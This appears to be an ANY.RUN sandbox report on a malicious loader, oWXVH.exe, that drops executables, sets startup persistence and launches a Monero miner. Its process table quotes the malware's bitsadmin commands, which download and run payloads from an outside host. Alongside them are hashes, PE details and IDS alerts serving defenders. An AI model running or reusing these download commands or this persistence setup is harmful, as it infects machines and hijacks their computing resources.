analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

oWXVH.exe

Full analysis: https://app.any.run/tasks/5cd8dcb4-e7aa-49b3-8c58-0542a724a15d
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Malware Trends Tracker     >>>
Analysis date: December 06, 2018, 11:44:05
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
evasion
loader
miner
Indicators:
MIME: application/x-dosexec
File info: PE32 executable (GUI) Intel 80386, for MS Windows
MD5:

DFAFD55BC9A0E84EAFADA04A5F21AEAD

SHA1:

3D62502DAF3258B03B2B14675CB06B36505D556A

SHA256:

D2BEB64F3F736D59B7511D3BD5EBF037208D06D67C92A46B0822AFC5779603BF

SSDEEP:

49152:ZoNuk/YMnxvICGw2uj/5Da4UrY6tJ+uj70BQHcSX4rHO0:SgkphIC1tj/5Dahh/j3pn0

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Application was dropped or rewritten from another process

      • windows.exe (PID: 2612)
      • windows.exe (PID: 2836)
      • Security.exe (PID: 4028)
      • system.exe (PID: 3204)

    • Uses BITADMIN.EXE for downloading application

      • cmd.exe (PID: 3128)
      • cmd.exe (PID: 3212)
      • cmd.exe (PID: 3316)

    • Writes to a start menu file

      • windows.exe (PID: 2612)

    • MINER was detected

      • system.exe (PID: 3204)

    • Looks like application has launched a miner

      • cmd.exe (PID: 2856)

    • Connects to CnC server

      • system.exe (PID: 3204)

  • SUSPICIOUS

    • Executable content was dropped or overwritten

      • windows.exe (PID: 2836)
      • oWXVH.exe (PID: 3160)
      • windows.exe (PID: 2612)

    • Creates files in the user directory

      • windows.exe (PID: 2612)

    • Creates files in the program directory

      • windows.exe (PID: 2612)

    • Starts CMD.EXE for commands execution

      • windows.exe (PID: 2612)
      • Security.exe (PID: 4028)

    • Uses ATTRIB.EXE to modify file attributes

      • cmd.exe (PID: 2856)

    • Connects to unusual port

      • system.exe (PID: 3204)

  • INFO

    No info indicators.
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | Win32 Executable (generic) (52.9)
.exe | Generic Win/DOS Executable (23.5)
.exe | DOS Executable Generic (23.5)

EXIF

EXE

Subsystem: Windows GUI
SubsystemVersion: 5.1
ImageVersion: -
OSVersion: 5.1
EntryPoint: 0xfce7
UninitializedDataSize: -
InitializedDataSize: 72704
CodeSize: 135168
LinkerVersion: 14
PEType: PE32
TimeStamp: 2016:08:14 21:15:54+02:00
MachineType: Intel 386 or later, and compatibles

Summary

Architecture: IMAGE_FILE_MACHINE_I386
Subsystem: IMAGE_SUBSYSTEM_WINDOWS_GUI
Compilation Date: 14-Aug-2016 19:15:54
Debug artifacts:
  • D:\Projects\WinRAR\sfx\build\sfxzip32\Release\sfxzip.pdb

DOS Header

Magic number: MZ
Bytes on last page of file: 0x0090
Pages in file: 0x0003
Relocations: 0x0000
Size of header: 0x0004
Min extra paragraphs: 0x0000
Max extra paragraphs: 0xFFFF
Initial SS value: 0x0000
Initial SP value: 0x00B8
Checksum: 0x0000
Initial IP value: 0x0000
Initial CS value: 0x0000
Overlay number: 0x0000
OEM identifier: 0x0000
OEM information: 0x0000
Address of NE header: 0x00000118

PE Headers

Signature: PE
Machine: IMAGE_FILE_MACHINE_I386
Number of sections: 6
Time date stamp: 14-Aug-2016 19:15:54
Pointer to Symbol Table: 0x00000000
Number of symbols: 0
Size of Optional Header: 0x00E0
Characteristics:
  • IMAGE_FILE_32BIT_MACHINE
  • IMAGE_FILE_EXECUTABLE_IMAGE

Sections

Name
Virtual Address
Virtual Size
Raw Size
Charateristics
Entropy
.text
0x00001000
0x00020F77
0x00021000
IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
6.62162
.rdata
0x00022000
0x00008FD4
0x00009000
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
5.13549
.data
0x0002B000
0x0002D370
0x00000C00
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
2.7652
.gfids
0x00059000
0x000000FC
0x00000200
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
2.16316
.rsrc
0x0005A000
0x000059DF
0x00005A00
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
4.75176
.reloc
0x00060000
0x00002354
0x00002400
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
6.69514

Resources

Title
Entropy
Size
Codepage
Language
Type
1
5.25329
1875
Latin 1 / Western European
UNKNOWN
RT_MANIFEST
7
3.66634
508
Latin 1 / Western European
UNKNOWN
RT_STRING
8
3.71728
582
Latin 1 / Western European
UNKNOWN
RT_STRING
9
3.74776
476
Latin 1 / Western European
UNKNOWN
RT_STRING
10
3.55807
220
Latin 1 / Western European
UNKNOWN
RT_STRING
11
3.90128
1128
Latin 1 / Western European
UNKNOWN
RT_STRING
12
3.68258
356
Latin 1 / Western European
UNKNOWN
RT_STRING
13
3.54875
228
Latin 1 / Western European
UNKNOWN
RT_STRING
14
3.52809
250
Latin 1 / Western European
UNKNOWN
RT_STRING
15
3.4037
232
Latin 1 / Western European
UNKNOWN
RT_STRING

Imports

COMCTL32.dll (delay-loaded)
KERNEL32.dll
No data.
screenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
49
Monitored processes
15
Malicious processes
6
Suspicious processes
1

Behavior graph

Click at the process to see the details
drop and start start drop and start owxvh.exe windows.exe windows.exe cmd.exe no specs security.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs bitsadmin.exe no specs bitsadmin.exe no specs bitsadmin.exe no specs cmd.exe no specs attrib.exe no specs attrib.exe no specs #MINER system.exe

Process information

PID
CMD
Path
Indicators
Parent process
3160"C:\Users\admin\AppData\Local\Temp\oWXVH.exe" C:\Users\admin\AppData\Local\Temp\oWXVH.exe
explorer.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
2836"C:\Users\admin\AppData\Local\Temp\RarSFX0\windows.exe" -p123C:\Users\admin\AppData\Local\Temp\RarSFX0\windows.exe
oWXVH.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
2612"C:\Users\admin\AppData\Local\Temp\RarSFX1\windows.exe" C:\Users\admin\AppData\Local\Temp\RarSFX1\windows.exe
windows.exe
User:
admin
Integrity Level:
MEDIUM
Description:
SoftPortal
Exit code:
0
Version:
1.1.0.0
3136C:\Windows\system32\cmd.exe /c start C:\ProgramData\System32\Security.exeC:\Windows\system32\cmd.exe—windows.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
4028C:\ProgramData\System32\Security.exe C:\ProgramData\System32\Security.exe—cmd.exe
User:
admin
Integrity Level:
MEDIUM
Description:
Font Driver Host
Version:
10.9.14393.0
3128C:\Windows\system32\cmd.exe /c bitsadmin /transfer /download /priority high "http://porntovirt.ru/075/system.exe" "C:\ProgramData\System32\system.exe"C:\Windows\system32\cmd.exe—Security.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3212C:\Windows\system32\cmd.exe /c bitsadmin /transfer /download /priority high "http://porntovirt.ru/075/Security.exe" "C:\ProgramData\System32\Security.exe"C:\Windows\system32\cmd.exe—Security.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
2147942432
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3316C:\Windows\system32\cmd.exe /c bitsadmin /transfer /download /priority high "http://porntovirt.ru/075/1.bat" "C:\ProgramData\System32\1.bat"C:\Windows\system32\cmd.exe—Security.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2528bitsadmin /transfer /download /priority high "http://porntovirt.ru/075/system.exe" "C:\ProgramData\System32\system.exe"C:\Windows\system32\bitsadmin.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
BITS administration utility
Version:
7.5.7600.16385 (win7_rtm.090713-1255)
3136bitsadmin /transfer /download /priority high "http://porntovirt.ru/075/Security.exe" "C:\ProgramData\System32\Security.exe"C:\Windows\system32\bitsadmin.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
BITS administration utility
Exit code:
2147942432
Version:
7.5.7600.16385 (win7_rtm.090713-1255)
Total events
957
Read events
939
Write events
0
Delete events
0

Modification events

No data
Executable files
4
Suspicious files
0
Text files
1
Unknown types
1

Dropped files

PID
Process
Filename
Type
2612windows.exeC:\Users\admin\AppData\Local\Temp\aut7F23.tmp —
MD5:—
SHA256:—
2612windows.exeC:\Users\admin\AppData\Local\Temp\aut7F34.tmp —
MD5:—
SHA256:—
2612windows.exeC:\Users\admin\AppData\Local\Temp\aut7F83.tmp —
MD5:—
SHA256:—
2612windows.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Security.lnklnk
MD5:0BC2909D2C0B267837525877F5BB8AEC
SHA256:9CA1C604E5A2A91E97D5DD89D46A8E9B7A16EF918AC45AD3D854291CE10E46E5
2612windows.exeC:\ProgramData\System32\system.exeexecutable
MD5:38C69C5C586AEA2FBAC01E1D55A150D1
SHA256:DFF5E35636582E9559B971E34EC30A3A513161CAC3BFAAF1843A37617BAD2816
2612windows.exeC:\ProgramData\System32\1.battext
MD5:8109D8D167728A8C89688486F519351C
SHA256:BAC2E2592B74EC24FAD391EE33C0E247618B0C8437A9822BB2AC21AB4F4A0E9C
3160oWXVH.exeC:\Users\admin\AppData\Local\Temp\RarSFX0\windows.exeexecutable
MD5:0FB1C9CD894B9917E7DB171C0800BB42
SHA256:F49C7A2F42CEA6A6CAA48B3FB09DBB90EE8DDCCADDD1FA160A3E720128BC3E7C
2836windows.exeC:\Users\admin\AppData\Local\Temp\RarSFX1\windows.exeexecutable
MD5:AB6D588CA4A625440006FAA93C2762DB
SHA256:1AE05A970798F9E4FAB747955461A7053C36407469B24B676D86F39801ADF75C
2612windows.exeC:\ProgramData\System32\Security.exeexecutable
MD5:909676DF745AF8C5F6D458CB821F33C1
SHA256:84A676B531F28E31146B23E529561B534D48A44ED85D30E58F407BFC238A75FB
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
2
DNS requests
3
Threats
0

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2612
windows.exe
88.99.66.31:443
iplogger.com
Hetzner Online GmbH
DE
malicious
3204
system.exe
94.130.64.225:45560
xmr.pool.minergate.com
Hetzner Online GmbH
DE
suspicious

DNS requests

Domain
IP
Reputation
iplogger.com
  • 88.99.66.31
shared
porntovirt.ru
  • —
unknown
xmr.pool.minergate.com
  • 94.130.64.225
  • 136.243.94.27
  • 136.243.88.145
  • 136.243.102.157
  • 78.46.23.253
  • 176.9.147.178
  • 46.4.119.208
  • 94.130.9.194
  • 94.130.48.154
  • 78.46.49.212
suspicious

Threats

PID
Process
Class
Message
—
—
A Network Trojan was detected
ET POLICY Monero Mining Pool DNS Lookup
3204
system.exe
Potential Corporate Privacy Violation
ET POLICY Cryptocurrency Miner Checkin
3204
system.exe
Misc activity
MINER [PTsecurity] CoinMiner CryptoNight XMRig JSON_RPC Client Login
3204
system.exe
Misc activity
MINER [PTsecurity] Riskware/CoinMiner JSON_RPC Response
3204
system.exe
Misc activity
MINER [PTsecurity] Risktool.W32.coinminer!c
3204
system.exe
Misc activity
MINER [PTsecurity] Riskware/CoinMiner JSON_RPC Response
3204
system.exe
Misc activity
MINER [PTsecurity] Risktool.W32.coinminer!c
2 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
oWXVH.exe